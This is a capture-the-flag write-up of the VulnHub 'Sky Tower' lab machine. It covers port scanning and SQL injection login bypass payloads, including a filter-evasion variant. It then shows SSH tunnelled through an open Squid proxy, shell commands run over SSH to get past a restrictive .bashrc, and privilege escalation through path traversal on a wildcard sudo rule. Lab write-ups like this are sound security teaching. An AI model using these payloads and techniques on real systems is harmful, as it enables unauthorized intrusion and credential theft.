Sky Tower ~ VulnHub

Boxes Apr 20, 2021

Enumeration

NMAP

First, I went ahead and launched a port scan against the target machine.

nmap -Pn -A -sV -p- $target

PORT     STATE    SERVICE    REASON         VERSION
22/tcp   filtered ssh        no-response
80/tcp   open     http       syn-ack ttl 64 Apache httpd 2.2.22 ((Debian))
| http-methods: 
|_  Supported Methods: OPTIONS GET HEAD POST
|_http-server-header: Apache/2.2.22 (Debian)
|_http-title: Site doesn't have a title (text/html).
3128/tcp open     http-proxy syn-ack ttl 64 Squid http proxy 3.1.20
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported: GET HEAD
|_http-server-header: squid/3.1.20
|_http-title: ERROR: The requested URL could not be retrieved
MAC Address: 08:00:27:54:4A:37 (Oracle VirtualBox virtual NIC)
Aggressive OS guesses: Linux 3.2 - 3.16 (98%), Linux 3.2 - 3.10 (97%), Linux 2.6.32 - 3.10 (96%), Linux 3.2 - 3.8 (94%), Linux 2.6.32 - 3.13 (94%), Linux 3.2 (94%), Linux 2.6.32 - 3.5 (94%), OpenWrt Barrier Breaker (Linux 3.10) (93%), Linux 2.6.32 (93%), ASUS RT-N56U WAP (Linux 3.4) (93%)

Fine tuned scan results

WEB - 80

Apache httpd 2.2.22 ((Debian))

/background (Status: 200) [Size: 2572609]
/cgi-bin/ (Status: 403) [Size: 289]
/cgi-bin/.html (Status: 403) [Size: 294]
/cgi-bin/.php (Status: 403) [Size: 293]
/index.html (Status: 200) [Size: 1136]
/index (Status: 200) [Size: 1136]
/index.html (Status: 200) [Size: 1136]
/login.php (Status: 200) [Size: 21]
/server-status (Status: 403) [Size: 294]

/

/background

/login.php

WEB - 3128

Squid http proxy 3.1.20

SSH - 22

22/tcp   filtered ssh        no-response

SSH traffic was filtered and not directly accessible on initial try.

Exploitation

Authentication Bypass

The web app was vulnerable to SQL Injection Authentication Bypass as shown below. However, the web application had SQL filtering.

admin' or 1=1--

After entering the query, I noticed that my or and my = were missing from the request in the reply. That's when I realized there was some kind of filtering going on in the background. I then used the following payload to bypass the SQL filtering which brought me to the admin page!

admin' || 1=1#

The admin panel seems to contain SSH credentials to the box.

SSH

Even though the SSH credentials were given to us, SSH access was still limited as the traffic going to port 22 on the target was filtered as discovered in the initial stages. I had to use the available squid proxy which I uncovered on port 3128.

ProxyTunnel

proxytunnel -p 192.168.0.199:3128 -d 127.0.0.1:22 -a 666

With this command, the target's port 22 is now tunneled to the attack box's port 666. Now I was able to SSH into the machine.

ssh [email protected] -p 666
hereisjohn

However, the shell instantly closed due to the .bashrc setting of the user. The bypass to this was to delete .bashrc located in the user's home directory. SSH has this feature which lets the user enter what to execute when connected to the host. To test this, I was hosting a web server on port 80 of my attack box and attempted to get a non existent page from the target.

ssh [email protected] -p 666 "wget http://192.168.0.108/lol"

It looked to have worked perfectly and my web server received a request. Thus I decided to launch /bin/sh and remove .bashrc manually to over come this obstacle.

ssh [email protected] -p 666 "/bin/sh"

I had a non tty shell using /bin/sh. I then proceeded to remove the .bashrc file int he home directory of john.

Now when I normally SSH-ed in, I was granted a fully TTY shell!

Privilege Escalation

Database

Since the web app was vulnerable to SQL Injection, I went ahead and looked at the login.php file which was uncovered during enumeration for SQL Server creds.

/var/www/

/var/www/login.php

<?php

$db = new mysqli('localhost', 'root', 'root', 'SkyTech');

if($db->connect_errno > 0){
    die('Unable to connect to database [' . $db->connect_error . ']');

}
[...........REDACTED...........]

root:root

With that, I was able to retrieve 2 more user accounts which were tied to the machine.

+----+---------------------+--------------+
| id | email               | password     |
+----+---------------------+--------------+
|  1 | [email protected]    | hereisjohn   |
|  2 | [email protected]    | ihatethisjob |
|  3 | [email protected] | senseable    |
+----+---------------------+--------------+

Lateral Movement: sara

While logging into sara's account, I realized that I had to re execute the bypass on her account to avoid the default .bashrc acting up.

And I was in her account.

/accounts/

Sudo -l + Path Traversal

Running sudo -l revealed to me that sara could use cat and ls in the /accounts/* directory.

However, taking a closer looked at the entry in /etc/sudoers reveals that there was an * which made path traversals a possibility.

sudo ls /accounts/../../../../root

I first listed the /root directory which revealed the flag and at this point I thought I was done. However, this file revealed the root password to me!